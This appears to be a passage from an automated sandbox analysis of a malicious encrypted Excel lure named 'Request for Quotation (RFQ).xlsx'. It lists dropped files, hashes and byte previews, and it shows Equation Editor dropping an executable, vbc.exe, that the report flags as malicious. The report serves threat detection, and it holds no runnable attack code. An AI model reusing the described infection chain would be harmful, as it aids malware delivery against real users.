Preview:	.PNG........IHDR...6...........>(....sRGB.........gAMA......a.....pHYs..........+......IDATx^.=v\9..H..f...:ZA..,'..j.r4.........SEJ,%..VPG..K.=....@.$oI.e7....U...... ....>n~&..._..._.rg....L...D.G!0..G!;...?...Oo.7....Cc...G....g>......_o..._._.}q...k.....ru..T.....S.!....~..@Y96.S.....&..1.:....o...q.6..S...'n..H.hS......y;.N.l.)."[ `.f.X.u.n.;........._h.(.u\|0a.....].R.z...2......GJY\|\..+b...{>vU.....i...........w+.p...X..._.V.-z..s..U..cR..g^..X......6n...6....O6.-.AM.f.=y ...7...;X....q..\|...=.\|K...w...}O..{\|...G........~.o3.....z....m6...sN.0..;/....Y..H..o............~........(W.`...S.t......m....+.K...<..M=...IN.U..C..].5.=...s..g.d..f.<Km..$..fS...o..:..}@...;k..m.L./.$......,}....3%..\|j.....b.r7.O!F...c'......$...)....\|O.CK...._......Nv....q.t3l.,. ....vD.-..o..k.w.....X...-C..KGld.8.a}\|..,.....,....q.=r..Pf.V#.....n...}........[w...N.b..W......;..?.Oq..K{>.K.....{w{.......6'/...,.}.E...X.I.-Y].JJm.j..pq\|.0...e.v......17...:F

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\7B58EFF1.jpeg Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 191x263, frames 3
Category:	dropped
Size (bytes):	8815
Entropy (8bit):	7.944898651451431
Encrypted:	false
SSDEEP:	192:Qjnr2Il8e7li2YRD5x5dlyuaQ0ugZIBn+0O2yHQGYtPto:QZl8e7li2YdRyuZ0b+JGgtPW
MD5:	F06432656347B7042C803FE58F4043E1
SHA1:	4BD52B10B24EADECA4B227969170C1D06626A639
SHA-256:	409F06FC20F252C724072A88626CB29F299167EAE6655D81DF8E9084E62D6CF6
SHA-512:	358FEB8CBFFBE6329F31959F0F03C079CF95B494D3C76CF3669D28CA8CDB42B04307AE46CED1FC0605DEF31D9839A0283B43AA5D409ADC283A1CAD787BE95F0E
Malicious:	false
Preview:	......JFIF...................................................) ..(...!1!%)-.....383,7(..,...........+...7++++-+++++++++++++++---++++++++-+++++++++++++++++...........".......................................F........................!."1A..QRa.#2BSq......3b.....$c....C...Er.5.........................................................?..x.5.PM.Q@E..I......i..0.$G.C...h..Gt....f..O..U..D.t^...u.B...V9.f..<..t(.kt...d.@...&3)d@@?.q...t..3!.... .9.r.....Q.(:.W..X&..&.1&T..K..\|kc.....[..l.3(f+.c...:+....5....hHR.0....^R.G..6...&pB..d.h.04.+..S...M........[....'......J...,...<.O.........Yn...T.!..E*G.[I..-.......$e&........z..[..3.+~..a.u9d.&9K.xkX'.."...Y...l.......MxPu..b..:0e:.R.#.......U....E...4Pd/..0.`.4 ...A...t.....2....gb[)b.I."&..y1..........l.s>.ZA?..........3... z^....L.n6..Am.1m....0../..~.y......1.b.0U...5.oi.\.LH1.f....sl................f.'3?...bu.P4>...+..B....eL....R.,...<....3.0O$,=..K.!....Z.......O.I.z....am....C.k..iZ ...<ds....f8f..R....K

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\862DD3FC.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 566 x 429, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	84203
Entropy (8bit):	7.979766688932294
Encrypted:	false
SSDEEP:	1536:RrpoeM3WUHO25A8HD3So4lL9jvtO63O2l/Wr9nuQvs+9QvM4PmgZuVHdJ5v3ZK7+:H5YHOhwx4lRTtO6349uQvXJ4PmgZu11J
MD5:	208FD40D2F72D9AED77A86A44782E9E2
SHA1:	216B99E777ED782BDC3BFD1075DB90DFDDABD20F
SHA-256:	CBFDB963E074C150190C93796163F3889165BF4471CA77C39E756CF3F6F703FF
SHA-512:	7BCE80FFA8B0707E4598639023876286B6371AE465A9365FA21D2C01405AB090517C448514880713CA22875013074DB9D5ED8DA93C223F265C179CFADA609A64
Malicious:	false
Preview:	.PNG........IHDR...6...........>(....sRGB.........gAMA......a.....pHYs..........+......IDATx^.=v\9..H..f...:ZA..,'..j.r4.........SEJ,%..VPG..K.=....@.$oI.e7....U...... ....>n~&..._..._.rg....L...D.G!0..G!;...?...Oo.7....Cc...G....g>......_o..._._.}q...k.....ru..T.....S.!....~..@Y96.S.....&..1.:....o...q.6..S...'n..H.hS......y;.N.l.)."[ `.f.X.u.n.;........._h.(.u\|0a.....].R.z...2......GJY\|\..+b...{>vU.....i...........w+.p...X..._.V.-z..s..U..cR..g^..X......6n...6....O6.-.AM.f.=y ...7...;X....q..\|...=.\|K...w...}O..{\|...G........~.o3.....z....m6...sN.0..;/....Y..H..o............~........(W.`...S.t......m....+.K...<..M=...IN.U..C..].5.=...s..g.d..f.<Km..$..fS...o..:..}@...;k..m.L./.$......,}....3%..\|j.....b.r7.O!F...c'......$...)....\|O.CK...._......Nv....q.t3l.,. ....vD.-..o..k.w.....X...-C..KGld.8.a}\|..,.....,....q.=r..Pf.V#.....n...}........[w...N.b..W......;..?.Oq..K{>.K.....{w{.......6'/...,.}.E...X.I.-Y].JJm.j..pq\|.0...e.v......17...:F

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\87C26827.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 476 x 244, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	49744
Entropy (8bit):	7.99056926749243
Encrypted:	true
SSDEEP:	768:wnuJ6p14x3egT1LYye1wBiPaaBsZbkCev17dGOhRkJjsv+gZB/UcVaxZJ2LEz:Yfp1UeWNYF1UiPm+/q1sxZB/ZS
MD5:	63A6CB15B2B8ECD64F1158F5C8FBDCC8
SHA1:	8783B949B93383C2A5AF7369C6EEB9D5DD7A56F6
SHA-256:	AEA49B54BA0E46F19E04BB883DA311518AF3711132E39D3AF143833920CDD232
SHA-512:	BB42A40E6EADF558C2AAE82F5FB60B8D3AC06E669F41B46FCBE65028F02B2E63491DB40E1C6F1B21A830E72EE52586B83A24A055A06C2CCC2D1207C2D5AD6B45
Malicious:	false
Preview:	.PNG........IHDR..............I.M....IDATx....T.]...G.;..nuww7.s...U..K......Ih....q!i...K....t.'k.W..i..>.......B.....E.0....f.a.....e....++...P..\|..^...L.S}r:..............sM....p..p-..y]...t7'.D)....../...k....pzos.......6;,..H.....U..a..9..1...$.......kI<..\F...$.E....?[B(.9.....H..!.....0AV..g.m...23..C..g(.%...6..>.O.r...L..t1.Q-.bE......)........\|i ..."....V.g.\.G..p..p.X[.....%hyt...@..J...~.p.....\|..>...~.`..E_....iU.G...i.O..r6...iV.....@..........Jte...5Q.P.v;..B.C...m......0.N......q...b.....Q...c.moT.e6OB...p.v"...."........9..G....B}...../m...0g...8......6.$.$]p...9.....Z.a.sr.;B.a....m...>...b..B..K...{...+w?....B3...2...>.......1..-.'.l.p........L....\.K..P.q......?>..fd.`w..y..\|y..,.....i..'&.?.....).e.D ?.06......U.%.2t........6.:..D.B....+~.....M%".fG]b\.[........1....".......GC6.....J.+......r.a...ieZ..j.Y...3..Q*m.r.urb.5@.e.v@@....gsb.{q-..3j........s.f.\|8s$p.?3H......0`..6)...bD....^..+....9..;$...W::.jBH..!tK

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\8FEB23B0.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 399 x 605, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	50311
Entropy (8bit):	7.960958863022709
Encrypted:	false
SSDEEP:	768:hfo72tRlBZeeRugjj8yooVAK92SYAD0PSsX35SVFN0t3HcoNz8WEK6Hm8bbxXVGx:hf0WBueSoVAKxLD06w35SEVNz8im0AEH
MD5:	4141C7515CE64FED13BE6D2BA33299AA
SHA1:	B290F533537A734B7030CE1269AC8C5398754194
SHA-256:	F6B0FE628E1469769E6BD3660611B078CEF6EE396F693361B1B42A9100973B75
SHA-512:	74E9927BF0C6F8CB9C3973FD68DAD12B422DC4358D5CCED956BC6A20139B21D929E47165F77D208698924CB7950A7D5132953C75770E4A357580BF271BD9BD88
Malicious:	false
Preview:	.PNG........IHDR.......].......^....gAMA......a.....sRGB........ cHRM..z&..............u0...`..:....p..Q<....bKGD..............oFFs.......F.#-nT....pHYs...%...%.IR$.....vpAg.......0...O.....IDATx...h.w....V!...D.........4.p .X(r..x.&..K.(.L...P..d5.R......b.......C...BP...,% ....qL.,.!E.ni..t......H._......G..\|~=.....<..#.J!.N.a..a.Q.V...t:.M.v;=..0.s..ixa...0..<...`..a\..a..q.+..a..5.<..a...`..a\..a..q.+..a..5.<..a...`..a\..a..q.+..a..5.<..a...`..a\..a..q.+..a..5.<..a...`..a\..a..q.+..a..5.<..a...`..a\..a..q.+..a..5.<..a...`..a\..a..q.+..a..5.<..a...`..a\..a..q.+..a..5.<..a...`..a\..a..qM../.u....h6..\|.22..g4M.........C.u..y,--..'....a.?~.W.\i.>7q.j..y....iLNN.....5\..w"..b~~...J.sssm.d.Y.u.G....s.\..R.`qq.....C;..$..&..2..x..J..fgg...]=g.Y.y..N..(SN.S8.eZ.T...=....4.?~..uK.;....SSS...iY.Q.n.I.u\.x..o.,.av.N.(..H..B..X......... ..amm...h4.t:..].j..tz[.(..#..}yy./..".z.-[!4....a...jj......,dY.7.\|.F.....\.~.g.....x..Y...R..\.....w.\.h..K....h..nM

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\B121FC63.jpeg Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	gd-jpeg v1.0 (using IJG JPEG v80), quality = 90", baseline, precision 8, 700x990, frames 3
Category:	dropped
Size (bytes):	48770
Entropy (8bit):	7.801842363879827
Encrypted:	false
SSDEEP:	768:uLgWImQ6AMqTeyjskbJeYnriZvApugsiKi7iszQ2rvBZzmFz3/soBqZhsglgDQPT:uLgY4MqTeywVYr+0ugbDTzQ27A3UXsgf
MD5:	AA7A56E6A97FFA9390DA10A2EC0C5805
SHA1:	200A6D7ED9F485DD5A7B9D79B596DE3ECEBD834A
SHA-256:	56B1EDECC9A282A9FAAFD95D4D9844608B1AE5CCC8731F34F8B30B3825734974
SHA-512:	A532FE4C52FED46919003A96B882AE6F7C70A3197AA57BD1E6E917F766729F7C9C1261C36F082FBE891852D083EDB2B5A34B0A325B7C1D96D6E58B0BED6C5782
Malicious:	false
Preview:	......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 90....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..R..(...(...(......3Fh.....(....P.E.P.Gj(...(....Q@.%-...(.......P.QKE.%.........;.R.@.E-...(.......P.QKE.'jZ(...QE..........h...(...QE.&(.KE.'jZ(...QE..........h...(...QE.&(.KE.'jZ(...QE..........h...(...QE.&(.KE.'j^.....(...(...(....w...3Fh....E......4w...h.%...................E./J)(......Z)(......Z)(....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\C6662BCD.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 399 x 605, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	50311
Entropy (8bit):	7.960958863022709
Encrypted:	false
SSDEEP:	768:hfo72tRlBZeeRugjj8yooVAK92SYAD0PSsX35SVFN0t3HcoNz8WEK6Hm8bbxXVGx:hf0WBueSoVAKxLD06w35SEVNz8im0AEH
MD5:	4141C7515CE64FED13BE6D2BA33299AA
SHA1:	B290F533537A734B7030CE1269AC8C5398754194
SHA-256:	F6B0FE628E1469769E6BD3660611B078CEF6EE396F693361B1B42A9100973B75
SHA-512:	74E9927BF0C6F8CB9C3973FD68DAD12B422DC4358D5CCED956BC6A20139B21D929E47165F77D208698924CB7950A7D5132953C75770E4A357580BF271BD9BD88
Malicious:	false
Preview:	.PNG........IHDR.......].......^....gAMA......a.....sRGB........ cHRM..z&..............u0...`..:....p..Q<....bKGD..............oFFs.......F.#-nT....pHYs...%...%.IR$.....vpAg.......0...O.....IDATx...h.w....V!...D.........4.p .X(r..x.&..K.(.L...P..d5.R......b.......C...BP...,% ....qL.,.!E.ni..t......H._......G..\|~=.....<..#.J!.N.a..a.Q.V...t:.M.v;=..0.s..ixa...0..<...`..a\..a..q.+..a..5.<..a...`..a\..a..q.+..a..5.<..a...`..a\..a..q.+..a..5.<..a...`..a\..a..q.+..a..5.<..a...`..a\..a..q.+..a..5.<..a...`..a\..a..q.+..a..5.<..a...`..a\..a..q.+..a..5.<..a...`..a\..a..q.+..a..5.<..a...`..a\..a..qM../.u....h6..\|.22..g4M.........C.u..y,--..'....a.?~.W.\i.>7q.j..y....iLNN.....5\..w"..b~~...J.sssm.d.Y.u.G....s.\..R.`qq.....C;..$..&..2..x..J..fgg...]=g.Y.y..N..(SN.S8.eZ.T...=....4.?~..uK.;....SSS...iY.Q.n.I.u\.x..o.,.av.N.(..H..B..X......... ..amm...h4.t:..].j..tz[.(..#..}yy./..".z.-[!4....a...jj......,dY.7.\|.F.....\.~.g.....x..Y...R..\.....w.\.h..K....h..nM

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\FA8E76A.jpeg Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 191x263, frames 3
Category:	dropped
Size (bytes):	8815
Entropy (8bit):	7.944898651451431
Encrypted:	false
SSDEEP:	192:Qjnr2Il8e7li2YRD5x5dlyuaQ0ugZIBn+0O2yHQGYtPto:QZl8e7li2YdRyuZ0b+JGgtPW
MD5:	F06432656347B7042C803FE58F4043E1
SHA1:	4BD52B10B24EADECA4B227969170C1D06626A639
SHA-256:	409F06FC20F252C724072A88626CB29F299167EAE6655D81DF8E9084E62D6CF6
SHA-512:	358FEB8CBFFBE6329F31959F0F03C079CF95B494D3C76CF3669D28CA8CDB42B04307AE46CED1FC0605DEF31D9839A0283B43AA5D409ADC283A1CAD787BE95F0E
Malicious:	false
Preview:	......JFIF...................................................) ..(...!1!%)-.....383,7(..,...........+...7++++-+++++++++++++++---++++++++-+++++++++++++++++...........".......................................F........................!."1A..QRa.#2BSq......3b.....$c....C...Er.5.........................................................?..x.5.PM.Q@E..I......i..0.$G.C...h..Gt....f..O..U..D.t^...u.B...V9.f..<..t(.kt...d.@...&3)d@@?.q...t..3!.... .9.r.....Q.(:.W..X&..&.1&T..K..\|kc.....[..l.3(f+.c...:+....5....hHR.0....^R.G..6...&pB..d.h.04.+..S...M........[....'......J...,...<.O.........Yn...T.!..E*G.[I..-.......$e&........z..[..3.+~..a.u9d.&9K.xkX'.."...Y...l.......MxPu..b..:0e:.R.#.......U....E...4Pd/..0.`.4 ...A...t.....2....gb[)b.I."&..y1..........l.s>.ZA?..........3... z^....L.n6..Am.1m....0../..~.y......1.b.0U...5.oi.\.LH1.f....sl................f.'3?...bu.P4>...+..B....eL....R.,...<....3.0O$,=..K.!....Z.......O.I.z....am....C.k..iZ ...<ds....f8f..R....K

C:\Users\user\AppData\Local\Temp\Cab71DC.tmp Download File
Process:	C:\Users\Public\vbc.exe
File Type:	Microsoft Cabinet archive data, 60080 bytes, 1 file
Category:	dropped
Size (bytes):	60080
Entropy (8bit):	7.995256720209506
Encrypted:	true
SSDEEP:	768:O78wIEbt8Rc7GHyP7zpxeiB9jTs6cX8ENclXVbFYYDceSKZyhRhbzfgtEnz9BPNZ:A8Rc7GHyhUHsVNPOlhbz2E5BPNiUu+g4
MD5:	6045BACCF49E1EBA0E674945311A06E6
SHA1:	379C6234849EECEDE26FAD192C2EE59E0F0221CB
SHA-256:	65830A65CB913BEE83258E4AC3E140FAF131E7EB084D39F7020C7ACC825B0A58
SHA-512:	DA32AF6A730884E73956E4EB6BFF61A1326B3EF8BA0A213B5B4AAD6DE4FBD471B3550B6AC2110F1D0B2091E33C70D44E498F897376F8E1998B1D2AFAC789ABEB
Malicious:	false
Preview:	MSCF............,...................I........d.........R9b .authroot.stl.3..).4..CK..8T....c_.d....A.K...].M$[v.4.)7-.%.QIR..$t)Kd.-[..T\{..ne.....{..<.......Ab.<..X....sb.....e........dbu.3...0........X..00&Z....C...p0.}..2..0m.}..Cj.9U..J.j.Y...#.L..\X..O.,...,.qu..]..(B.nE~Q...)..Gcx.....}...f....zw.a..9+[.<0.'..2 .s..ya..J......wd....OO!.s....`.WA...F6._f....6...g..2..7.$,....X.k..&...E...g.....>uv."..!......xc......C..?....P0$.Y..?u....Z0.g3.>W0&.y.(....].`>... ..R.q..wgX......qB!.B....Z.4..>.R.M..0.8...=.8..Ya.s.......add..)..w.4.&.z...2.&74.5]..w.j.._iK..\|\|[.w.M.!<-.}%.C<tDX5\s._..I....nb.....GCQ.V..r..Y.............q...0..V)Tu>.Z..r...I...<.R{Ac..x^. .<A........\|.{.....Q...&....X..C$....e9.:..vI..x.R4...L......%g...<..}'{....E8Sl...E".h...*.........ItVs.K......3.9.l..`D..e.i`....y...,..5....aSs`..W...d...t.J..]....'u3..d]7..=e....[R!:........Q.%..@........ga.v.~..q....{.!N.b]x..Zx.../;#}.f.)k.c9..{rmPt..z5.m=..q..%.D#<+Ex....1\|.._F.

C:\Users\user\AppData\Local\Temp\Tar71DD.tmp Download File
Process:	C:\Users\Public\vbc.exe
File Type:	data
Category:	modified
Size (bytes):	156885
Entropy (8bit):	6.30972017530066
Encrypted:	false
SSDEEP:	1536:NlR6c79JjgCyrYBWsWimp4Ydm6Caku2SWsz0OD8reJgMnl3XlMuGmO:N2UJcCyZfdmoku2SL3kMnBGuzO
MD5:	9BE376D85B319264740EF583F548B72A
SHA1:	6C6416CBC51AAC89A21A529695A8FCD3AD5E6B85
SHA-256:	07FDF8BC502E6BB4CF6AE214694F45C54A53228FC2002B2F17C9A2EF64EB76F6
SHA-512:	8AFC5D0D046E8B410EC1D29E2E16FB00CD92F8822D678AA0EE2A57098E05F2A0E165858347F035AE593B62BF195802CB6F9A5F92670041E1828669987CEEC7DE
Malicious:	false
Preview:	0..d....H.........d.0..d....1.0...`.H.e......0..T...+.....7.....T.0..T.0...+.....7........L.Eu...210519191503Z0...+......0..T.0.......`...@.,..0..0.r1...0...+.....7..~1......D...0...+.....7..i1...0...+.....7<..0 ..+.....7...1.......@N...%.=.,..0$..+.....7...1......`@V'..%....S.Y.00..+.....7..b1". .].L4.>..X...E.W..'..........-@w0Z..+.....7...1L.JM.i.c.r.o.s.o.f.t. .R.o.o.t. .C.e.r.t.i.f.i.c.a.t.e. .A.u.t.h.o.r.i.t.y...0..,...........[./..uIv..%1...0...+.....7..h1.....6.M...0...+.....7..~1...........0...+.....7...1...0...+.......0 ..+.....7...1...O..V.........b0$..+.....7...1...>.)....s,.=$.~R.'..00..+.....7..b1". [x.....[....3x:_....7.2...Gy.cS.0D..+.....7...16.4V.e.r.i.S.i.g.n. .T.i.m.e. .S.t.a.m.p.i.n.g. .C.A...0......4...R....2.7.. ...1..0...+.....7..h1......o&...0...+.....7..i1...0...+.....7<..0 ..+.....7...1...lo...^....[...J@0$..+.....7...1...J\u".F....9.N...`...00..+.....7..b1". ...@.....G..d..m..$.....X...}0B..+.....7...14.2M.i.c.r.o.s.o.f.t. .R.o.o.t. .A.u.t.h.o

C:\Users\user\Desktop\~$Request for Quotation (RFQ).xlsx Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	330
Entropy (8bit):	1.4377382811115937
Encrypted:	false
SSDEEP:	3:vZ/FFDJw2fj/FFDJw2fV:vBFFGaFFGS
MD5:	96114D75E30EBD26B572C1FC83D1D02E
SHA1:	A44EEBDA5EB09862AC46346227F06F8CFAF19407
SHA-256:	0C6F8CF0E504C17073E4C614C8A7063F194E335D840611EEFA9E29C7CED1A523
SHA-512:	52D33C36DF2A91E63A9B1949FDC5D69E6A3610CD3855A2E3FC25017BF0A12717FC15EB8AC6113DC7D69C06AD4A83FAF0F021AD7C8D30600AA8168348BD0FA9E0
Malicious:	true
Preview:	.user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\Public\vbc.exe Download File
Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	860672
Entropy (8bit):	7.64738851637245
Encrypted:	false
SSDEEP:	12288:lzlgfvquwaHp/S4RxwD4jvcQ8MfHVQViTa7zfl+D6YtW0E:llaquPHpK4R2cj1eVbHfl30
MD5:	E123306FCC7FD3C3BDA8993B4F6C43A2
SHA1:	B9247EC8B7158C490369961D0E5ABEE45C305C9D
SHA-256:	AAB5F4C72AFC1C8F1BEACB75EB3FA27DFD18E6D1E58E6A0C9F28222550C30AF7
SHA-512:	DFD7602656D7E5B3B31360D7A200457502867EEC2ED673288DA882136051A6D1376B2741354B807989E5A298BBB370C54D71573DA82A51C55DC639EBF5B256BB
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...`c.`.....................F......N.... ........@.. ....................................@.....................................K........B...................`....................................................... ............... ..H............text...T.... ...................... ..`.rsrc....B.......D..................@..@.reloc.......`....... ..............@..B................0.......H........'..H...........H,..k...........................................j+.&.(....(....(.....o......0..........+.&.+.&. ....8E.....(.... ....(....:/...8.....(.... ....8......(....82... ............E....................1...........H...8,...& ....8......(....(....(....9....& ....8......(.... ....(....:....&...V+.&..(....(....(......V+.&..(....(....(.......+.&....+.&...J+.&.........(.....J+.&.........(.....J+.&.........(.....J+.&.........(......+.&..(....:+.&.....o .

Static File Info

General
File type:	CDFV2 Encrypted
Entropy (8bit):	7.995369439385782
TrID:	Generic OLE2 / Multistream Compound File (8008/1) 100.00%
File name:	Request for Quotation (RFQ).xlsx
File size:	1262080
MD5:	84c78e6de4ef5f0c45f463953f7974ec
SHA1:	3018a8907c25585afb95d899d7e02414c57f87f5
SHA256:	2cea67f41e7e4bc7a0d6a29cc9d5ad722e976f51546941abe407a0a9db61e5d9
SHA512:	eed5d4ec8b92e106c1ae475eae538c308660ac7b0150cbe684084309d9c41eebaa72fe9aab46960f18df7692782de2066b5a406b85589ead7dac63d7ea8f24e3
SSDEEP:	24576:rmDlTBR+TU2peSjqH7q5WK9jSNf1jZc1MrA03PzX2ZE9ufOlv3bDVt82j86vR:SDAvwq5W1a2PD2erV3bDVtvjf
File Content Preview:	........................>...............................................................................................z.......\|.......~...............z......................................................................................................

File Icon


Icon Hash:	e4e2aa8aa4b4bcb4

Static OLE Info

General
Document Type:	OLE
Number of OLE Files:	1

OLE File "Request for Quotation (RFQ).xlsx"

Indicators
Has Summary Info:	False
Application Name:	unknown
Encrypted Document:	True
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	False
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:
Flash Objects Count:
Contains VBA Macros:	False

Streams

Stream Path: \x6DataSpaces/DataSpaceInfo/StrongEncryptionDataSpace, File Type: data, Stream Size: 64

General
Stream Path:	\x6DataSpaces/DataSpaceInfo/StrongEncryptionDataSpace
File Type:	data
Stream Size:	64
Entropy:	2.73637206947
Base64 Encoded:	False
Data ASCII:	. . . . . . . . 2 . . . S . t . r . o . n . g . E . n . c . r . y . p . t . i . o . n . T . r . a . n . s . f . o . r . m . . .
Data Raw:	08 00 00 00 01 00 00 00 32 00 00 00 53 00 74 00 72 00 6f 00 6e 00 67 00 45 00 6e 00 63 00 72 00 79 00 70 00 74 00 69 00 6f 00 6e 00 54 00 72 00 61 00 6e 00 73 00 66 00 6f 00 72 00 6d 00 00 00

Stream Path: \x6DataSpaces/DataSpaceMap, File Type: data, Stream Size: 112

General
Stream Path:	\x6DataSpaces/DataSpaceMap
File Type:	data
Stream Size:	112
Entropy:	2.7597816111
Base64 Encoded:	False
Data ASCII:	. . . . . . . . h . . . . . . . . . . . . . . E . n . c . r . y . p . t . e . d . P . a . c . k . a . g . e . 2 . . . S . t . r . o . n . g . E . n . c . r . y . p . t . i . o . n . D . a . t . a . S . p . a . c . e . . .
Data Raw:	08 00 00 00 01 00 00 00 68 00 00 00 01 00 00 00 00 00 00 00 20 00 00 00 45 00 6e 00 63 00 72 00 79 00 70 00 74 00 65 00 64 00 50 00 61 00 63 00 6b 00 61 00 67 00 65 00 32 00 00 00 53 00 74 00 72 00 6f 00 6e 00 67 00 45 00 6e 00 63 00 72 00 79 00 70 00 74 00 69 00 6f 00 6e 00 44 00 61 00 74 00 61 00 53 00 70 00 61 00 63 00 65 00 00 00

Stream Path: \x6DataSpaces/TransformInfo/StrongEncryptionTransform/\x6Primary, File Type: data, Stream Size: 200

General
Stream Path:	\x6DataSpaces/TransformInfo/StrongEncryptionTransform/\x6Primary
File Type:	data
Stream Size:	200
Entropy:	3.13335930328
Base64 Encoded:	False
Data ASCII:	X . . . . . . . L . . . { . F . F . 9 . A . 3 . F . 0 . 3 . - . 5 . 6 . E . F . - . 4 . 6 . 1 . 3 . - . B . D . D . 5 . - . 5 . A . 4 . 1 . C . 1 . D . 0 . 7 . 2 . 4 . 6 . } . N . . . M . i . c . r . o . s . o . f . t . . . C . o . n . t . a . i . n . e . r . . . E . n . c . r . y . p . t . i . o . n . T . r . a . n . s . f . o . r . m . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	58 00 00 00 01 00 00 00 4c 00 00 00 7b 00 46 00 46 00 39 00 41 00 33 00 46 00 30 00 33 00 2d 00 35 00 36 00 45 00 46 00 2d 00 34 00 36 00 31 00 33 00 2d 00 42 00 44 00 44 00 35 00 2d 00 35 00 41 00 34 00 31 00 43 00 31 00 44 00 30 00 37 00 32 00 34 00 36 00 7d 00 4e 00 00 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 2e 00 43 00 6f 00 6e 00 74 00 61 00 69 00 6e 00 65 00

Stream Path: \x6DataSpaces/Version, File Type: data, Stream Size: 76

General
Stream Path:	\x6DataSpaces/Version
File Type:	data
Stream Size:	76
Entropy:	2.79079600998
Base64 Encoded:	False
Data ASCII:	< . . . M . i . c . r . o . s . o . f . t . . . C . o . n . t . a . i . n . e . r . . . D . a . t . a . S . p . a . c . e . s . . . . . . . . . . . . .
Data Raw:	3c 00 00 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 2e 00 43 00 6f 00 6e 00 74 00 61 00 69 00 6e 00 65 00 72 00 2e 00 44 00 61 00 74 00 61 00 53 00 70 00 61 00 63 00 65 00 73 00 01 00 00 00 01 00 00 00 01 00 00 00

Stream Path: EncryptedPackage, File Type: data, Stream Size: 1247752

General
Stream Path:	EncryptedPackage
File Type:	data
Stream Size:	1247752
Entropy:	7.99983327297
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . } 2 . . . . u 0 . . . Y . - o G . . w . . L . . . P m . * . ? L . . . I . . . . . . w . N . . . , j . . @ M . U ^ . . 3 a K . . . M . h / . h S . . d . . . . . . M . h / . h S . . d . . . . . . M . h / . h S . . d . . . . . . M . h / . h S . . d . . . . . . M . h / . h S . . d . . . . . . M . h / . h S . . d . . . . . . M . h / . h S . . d . . . . . . M . h / . h S . . d . . . . . . M . h / . h S . . d . . . . . . M . h / . h S . . d . . . . . . M . h / . h S . . d . . . . . . M . h / . h
Data Raw:	00 0a 13 00 00 00 00 00 e8 7d 32 92 c3 f0 95 75 30 f1 df f0 59 bd 2d 6f 47 c0 96 77 1d 2e 4c 8a 92 91 50 6d b7 2a ab 3f 4c 01 0c 80 49 d2 a9 ec 0d ca ab 77 09 4e 1b d2 ca 2c 6a c4 a2 40 4d e5 55 5e b6 9b 33 61 4b de bb e6 4d 07 68 2f bb 68 53 bc c2 64 16 f5 86 0c bb e6 4d 07 68 2f bb 68 53 bc c2 64 16 f5 86 0c bb e6 4d 07 68 2f bb 68 53 bc c2 64 16 f5 86 0c bb e6 4d 07 68 2f bb 68

Stream Path: EncryptionInfo, File Type: data, Stream Size: 224

General
Stream Path:	EncryptionInfo
File Type:	data
Stream Size:	224
Entropy:	4.51306116313
Base64 Encoded:	False
Data ASCII:	. . . . $ . . . . . . . $ . . . . . . . . f . . . . . . . . . . . . . . . . . . . . . . M . i . c . r . o . s . o . f . t . . E . n . h . a . n . c . e . d . . R . S . A . . a . n . d . . A . E . S . . C . r . y . p . t . o . g . r . a . p . h . i . c . . P . r . o . v . i . d . e . r . . . . . . . . ` . / . . . . . . . @ . . A 2 . . . . . . . . . . . . E c . 9 . . . . N U . . . . . 4 . , [ . < J . f . ; . ^ U . \\ . . . . . . d >
